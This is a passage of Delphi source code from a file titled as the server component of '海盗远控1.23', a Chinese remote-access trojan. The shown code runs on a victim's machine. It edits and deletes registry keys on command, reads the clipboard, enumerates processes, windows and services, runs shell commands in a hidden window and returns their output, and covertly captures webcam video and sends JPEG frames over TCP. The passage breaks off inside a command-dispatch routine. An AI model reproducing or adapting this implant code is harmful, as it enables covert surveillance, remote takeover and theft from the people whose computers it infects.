mainserver.pas

海盗远控1.23源代码

               end;
             end;
      end;
  finally
    myreg.CloseKey;
    myreg.Free;
  end;
end;

{删除注册表主建}
procedure TPServer.Deleteregkey(var StrTmpList:TStringList);
var
myreg:TRegistry;
RKey,Rpath: String;
begin
try
  RKey:=StrTmpList[2];
  Rpath:=StrTmpList[3];
except
  Exit;
end;

    myreg:=TRegistry.Create;
 try
    if RKey = 'HKEY_CLASSES_ROOT' then myreg.RootKey := HKEY_CLASSES_ROOT;
    if RKey = 'HKEY_CURRENT_USER' then myreg.RootKey := HKEY_CURRENT_USER;
    if RKey = 'HKEY_LOCAL_MACHINE' then myreg.RootKey := HKEY_LOCAL_MACHINE;
    if RKey = 'HKEY_USERS' then myreg.RootKey := HKEY_USERS;
    if RKey = 'HKEY_CURRENT_CONFIG' then myreg.RootKey := HKEY_CURRENT_CONFIG;
    if RKey = 'HKEY_DYN_DATA' then myreg.RootKey := HKEY_DYN_DATA;

    if myreg.KeyExists(Rpath) then
       myreg.DeleteKey(Rpath);
 finally
    myreg.CloseKey;
    myreg.Free;
 end;
end;

procedure TPServer.Deleteregvalue(var StrTmpList:TStringList);  {删除键值}
var
myreg:TRegistry;
RKey:String;
Rpath : String;
Rname : String;
begin
try
  RKey:=StrTmpList[2];
  Rpath:=StrTmpList[3];
  Rname:=StrTmpList[4];
except
Exit;
end;
  myreg:=TRegistry.Create;
  try
    if RKey = 'HKEY_CLASSES_ROOT' then myreg.RootKey := HKEY_CLASSES_ROOT;
    if RKey = 'HKEY_CURRENT_USER' then myreg.RootKey := HKEY_CURRENT_USER;
    if RKey = 'HKEY_LOCAL_MACHINE' then myreg.RootKey := HKEY_LOCAL_MACHINE;
    if RKey = 'HKEY_USERS' then myreg.RootKey := HKEY_USERS;
    if RKey = 'HKEY_CURRENT_CONFIG' then myreg.RootKey := HKEY_CURRENT_CONFIG;
    if RKey = 'HKEY_DYN_DATA' then myreg.RootKey := HKEY_DYN_DATA;

    if myreg.OpenKey(rpath,False) then
       begin
         myreg.DeleteValue(rname);
       end;
  finally
    myreg.CloseKey;
    myreg.Free;
  end;
end;

{新建注册表主键}
procedure TPServer.Newregvalue(var StrTmpList:TStringList);{要新键的类型}
var
myreg:TRegistry;
nulint:integer;
RKey  : String;    {主键}
Rpath : String;     {子键路径}
Rname : String;     {要新建的键名}
Rtype : integer;
begin
try
  RKey:=StrTmpList[2];
  Rpath:=StrTmpList[3];
  Rname:=StrTmpList[4];
  Rtype:=strtoint(StrTmpList[5]);
except
Exit;
end;

  myreg:=TRegistry.Create;

  try
    if RKey = 'HKEY_CLASSES_ROOT' then myreg.RootKey := HKEY_CLASSES_ROOT;
    if RKey = 'HKEY_CURRENT_USER' then myreg.RootKey := HKEY_CURRENT_USER;
    if RKey = 'HKEY_LOCAL_MACHINE' then myreg.RootKey := HKEY_LOCAL_MACHINE;
    if RKey = 'HKEY_USERS' then myreg.RootKey := HKEY_USERS;
    if RKey = 'HKEY_CURRENT_CONFIG' then myreg.RootKey := HKEY_CURRENT_CONFIG;
    if RKey = 'HKEY_DYN_DATA' then myreg.RootKey := HKEY_DYN_DATA;

    if myreg.OpenKey(Rpath,False) then
      begin
        case rtype of
             0:begin  //主键//
                 if not myreg.KeyExists(rname) then
                    myreg.OpenKey(rname,true);
               end;
             1:begin  //二进制//
                 if not myreg.ValueExists(rname) then
                    myreg.WriteBinaryData(rname,nulint,0);
               end;
             2:begin //整数//
                 if not myreg.ValueExists(rname) then
                    myreg.WriteInteger(rname,0);
               end;
             3:begin  //字符串//
                 if not myreg.ValueExists(rname) then
                   myreg.WriteString(rname,'');
               end;
             4:begin
                 if not myreg.ValueExists(rname) then
                    myreg.WriteExpandString(rname,'');
               end;
         end;
      end;
  finally
    myreg.CloseKey;
    myreg.Free;
  end;
end;

//剪切板内容为空或非文本信息.
function TPServer.Clip_Text :string;
var Clip_Tstr:Tstringlist;
begin
  Clip_Tstr:=Tstringlist.Create;
  if (Clipboard.HasFormat(CF_TEXT) or Clipboard.HasFormat(CF_OEMTEXT)) then
       CLip_Tstr.Text :=ClipBoard.AsText+#13#10;
  if CLip_Tstr.Text='' then  CLip_Tstr.Text :='NULL';
  Result :=Clip_Tstr.Text;
  Clip_Tstr.Free;
end;

//进程内容
function TPServer.Savenowtask:String;
var  
  isOK:Boolean;
  ProcessHandle:Thandle;
  ProcessStruct:TProcessEntry32;
  TheList:Tstringlist;
  i:integer;
  hProcess: THandle;
  hMod_: HMODULE;
  CB: DWord;
  ProcessName: array[0..300] of Char;
begin
  TheList:=Tstringlist.Create;
  ProcessHandle:=createtoolhelp32snapshot(Th32cs_snapprocess,0);
  processStruct.dwSize:=sizeof(ProcessStruct);
  isOK:=process32first(ProcessHandle,ProcessStruct);
  for i:=0 to 100 do ThreadID[i]:=0;          //初始化数组
  ThreadID[0]:=ProcessStruct.th32ProcessID;
  i:=0;
  while isOK do
  begin
    hProcess := OpenProcess(PROCESS_QUERY_INFORMATION or PROCESS_VM_READ, False,ProcessStruct.th32ProcessID);
    if (hProcess <> 0) then
    begin
      EnumProcessModules(hProcess, @hMod_, SizeOf(hMod_), CB);
      GetModuleFileNameExA(hProcess, hMod_, ProcessName, SizeOf(ProcessName));
      CloseHandle(hProcess);
    end;
      if  ProcessStruct.szExeFile = '[System Process]' then ProcessName:='[System Process]';
      if  ProcessStruct.szExeFile = 'System' then ProcessName:='System';
	    TheList.Add(ProcessStruct.szExeFile);//进程名-------------------1
      TheList.Add(IntToStr(ProcessStruct.th32ProcessID));//进程ID-----2
      TheList.Add(ProcessName);//线程数--------3
	    isOK:=process32next(ProcessHandle,ProcessStruct);
      inc(i);
      ThreadID[i]:=ProcessStruct.th32ProcessID;
  //  end;
  end;
  Result:=TheList.text;
  CloseHandle(ProcessHandle);
  TheList.Free;
end;


{搜索所有窗口}
function TPServer.Searchallwindow:string;
var
  hCurrentWindow: HWnd;
  szText: array[0..254] of char;
  i:integer;
  winlist:TStringlist;
begin
  winlist:=TStringlist.Create;
  for i:=0 to 100 do allhwnd[i]:=0;
  i:=0;
  hCurrentWindow := GetWindow(Handle, GW_HWNDFIRST);
  while hCurrentWindow <> 0 do
  begin
    if GetWindowText(hCurrentWindow, @szText, 255) > 0 then
    begin
      if sztext<>'Default IME' then
      begin
        allhwnd[i]:=hcurrentwindow;
        inc(i);
        Winlist.Add(Sztext);
      end;
    end;
    hCurrentWindow := GetWindow(hCurrentWindow, GW_HWNDNEXT);
  end;
  Result :=Winlist.Text;
  Winlist.Free;
end;

//服务信息
function TPServer.GetServicesInfo:string;   //Get the services info
var
  tmpDisplayList: TStrings;
  i:integer;
  tmpStr:String;
  Temp:String;
begin
  tmpDisplayList := TStringList.Create;
  ServiceGetList('',SERVICE_WIN32, SERVICE_STATE_ALL, tmpDisplayList );
  for i:=0 to tmpDisplayList.Count -1 do
  begin
    tmpStr:=ServiceGetKeyName('',tmpDisplayList[i]);
    Temp:=Temp+tmpDisplayList[i]+'|'+ServiceGetKeyName('',tmpDisplayList[i]);
    if (ServiceStopped('',tmpStr)) then
    begin
      Temp:=Temp+'|0';
    end
    else
    begin
      Temp:=Temp+'|1';     //已启用
    end;
    Temp:=Temp+ '|' + GetStartType('',tmpStr) + #13;
  end;
  tmpDisplayList.free;
  Result := Temp;
end;


function TPServer.GetDosOutput(Command: string): string;
var
  hReadPipe : THandle;
  hWritePipe : THandle;
  SI : TStartUpInfo;
  PI : TProcessInformation;
  SA : TSecurityAttributes;
  BytesRead : DWORD;
  Dest : array[0..32767] of char;
  CmdLine : array[0..512] of char;
  Avail, ExitCode, wrResult : DWORD;
  osVer : TOSVERSIONINFO;
  tmpstr :AnsiString;
  Line: String;
begin
  osVer.dwOSVersionInfoSize := Sizeof(TOSVERSIONINFO);
  GetVersionEX(osVer);
  if osVer.dwPlatformId = VER_PLATFORM_WIN32_NT then
  begin
    SA.nLength := SizeOf(SA);
    SA.lpSecurityDescriptor := nil;
    SA.bInheritHandle := True;
    CreatePipe(hReadPipe, hWritePipe, @SA, 0);
  end
  else
    CreatePipe(hReadPipe, hWritePipe, nil, 1024);
  try
    FillChar(SI, SizeOf(SI), 0);
    SI.cb := SizeOf(TStartUpInfo);
    SI.wShowWindow := SW_HIDE;
    SI.dwFlags := STARTF_USESHOWWINDOW;
    SI.dwFlags := SI.dwFlags or STARTF_USESTDHANDLES;
    SI.hStdOutput := hWritePipe;
    SI.hStdError := hWritePipe;
    StrPCopy(CmdLine, Command);
    if CreateProcess(nil, CmdLine, nil, nil, True, NORMAL_PRIORITY_CLASS, nil, nil, SI, PI) then
    begin
       ExitCode := 0;
       while ExitCode = 0 do
       begin
          wrResult := WaitForSingleObject(PI.hProcess, 1000);
          if PeekNamedPipe(hReadPipe, @Dest[0], 32768,  @Avail, nil, nil) then
          begin
             if Avail > 0 then
             begin
               try
                 FillChar(Dest, SizeOf(Dest), 0);
                 ReadFile(hReadPipe, Dest[0], Avail, BytesRead, nil);
                 TmpStr := Copy(Dest,0 , BytesRead-1);
                 Line:=Line+TmpStr;  
               Except
               end;
             end;
          end;
            if wrResult <> WAIT_TIMEOUT then ExitCode := 1;
       end;
       GetExitCodeProcess(PI.hProcess, ExitCode);
       CloseHandle(PI.hProcess);
       CloseHandle(PI.hThread);
     end;
     finally
       if line='' then line:='NULL';    //命令没有输出回应!
       result:=Line;
       CloseHandle(hReadPipe);
       CloseHandle(hWritePipe);
   end;
end;
procedure TPServer.CompareFrame(lpVHdr: PVIDEOHDR);
var
  hd:Thandle;
  jpg:TJpegImage;
  memStream :TMemoryStream;
  bitmap:tbitmap;
begin
  try
    bitmap:=tbitmap.Create;
    with Bitmap  do
    begin
      Width:= BmpInfo.bmiHeader.biWidth;      // New size of Bitmap
      Height:=BmpInfo.bmiHeader.biHeight;
      hd:= DrawDibOpen;
      DrawDibDraw(hd,canvas.handle,0,0,BmpInfo.BmiHeader.biwidth,BmpInfo.bmiheader.biheight,@BmpInfo.bmiHeader,
                  lpVhdr^.lpData,0,0,BmpInfo.bmiHeader.biWidth,BmpInfo.bmiHeader.biheight,0);
      DrawDibClose(hd);
  end;
     //发送数据
    memStream := TMemoryStream.Create;
    jpg := TJpegImage.Create;
    jpg.Assign(Bitmap);
    jpg.CompressionQuality := 65;  //jpg压缩质量
    jpg.JPEGNeeded;
    jpg.Compress;
    jpg.SaveToStream(memStream);
    jpg.Free;
    if memStream.Size>0 then
    begin
      IdTCPVfw.WriteInteger(memStream.Size);
      IdTCPVfw.WriteStream(memStream);
    end;
    memStream.Free;
    bitmap.Free;
  except
  end;
end;



function FrameCallBack(hWnd:Hwnd; lpVHdr:PVIDEOHDR):longint; stdcall;
begin
  PServer.CompareFrame(lpvHdr);
  result:= 1;
end;

procedure TPServer.CreateCaptureWindow;
var
  CapParms: TCAPTUREPARMS;
  Request:String;
begin
  try
    CapWnd := capCreateCaptureWindow('Capture Window',WS_CHILD or WS_VISIBLE , 0, 0,0, 0,Handle, 0);
    if CapWnd =0 then
    begin
      IdTCPVfw.Disconnect;
      exit;
    end;
    if not capDriverConnect(CapWnd, DriverIndex) then
    begin
      IdTCPVfw.Disconnect;
      exit;
    end;
    CapPreviewRate(capWnd,33);  //设置预览视频的频率
    capSetCallbackOnVideoStream(capwnd,@FrameCallBack);
    CapPreviewScale(capWnd,false); //是否缩放
    capPreview(CapWnd,TRUE);

    capCaptureGetSetup(capWnd, @CapParms, sizeof(TCAPTUREPARMS)); //获取当前设置
    CapParms.dwRequestMicroSecPerFrame:=66667;   //默认值是66667微秒,表示每秒15帧
    CapParms.fLimitEnabled:=FALSE;
    CapParms.fCaptureAudio:=FALSE;
    CapParms.fMCIControl:=FALSE;
    CapParms.fYield:=True;
    CapParms.vKeyAbort:=VK_ESCAPE;
    CapParms.fAbortLeftMouse:=False;
    CapParms.fAbortRightMouse:=FALSE;
    capCaptureSetSetup(capWnd, @CapParms, sizeof(TCAPTUREPARMS)); //改变需要改变的参数

    capGetVideoFormat(capWnd, @BmpInfo,sizeof(BmpInfo)); //取得视频图像数据头

    capCaptureSequenceNoFile(capWnd); //不保存文件
  except
    IdTCPVfw.Disconnect;
    exit;
  end;
end;

//停止捕获视频
procedure TPServer.StopCapture;
begin
  if CapWnd = 0 then exit;
  CapDriverDisconnect(CapWnd);
  DestroyWindow( CapWnd ) ;
  CapCaptureStop(capwnd);
end;

 // 执行命令
procedure TPServer.ZhiXingCmd(var StrTmpList:TStringList);
var
  i,j,NumRead: integer;
  Temp: string;
  Path1,path2:string;
  RsFileS: TFileStream;
  TheKeyNames: TStringList;
  TempList:TStringList;
  DomnFile:TDownFileThread;
  H:THandle;
  II:DWord;
  Reg: TRegistry;
  Request:String;
  TheFListStream:TStringStream;
  DownLoadThread:TDownLoadThread; 
  FromF: file of byte;
  Dlg:TDlgshowThread;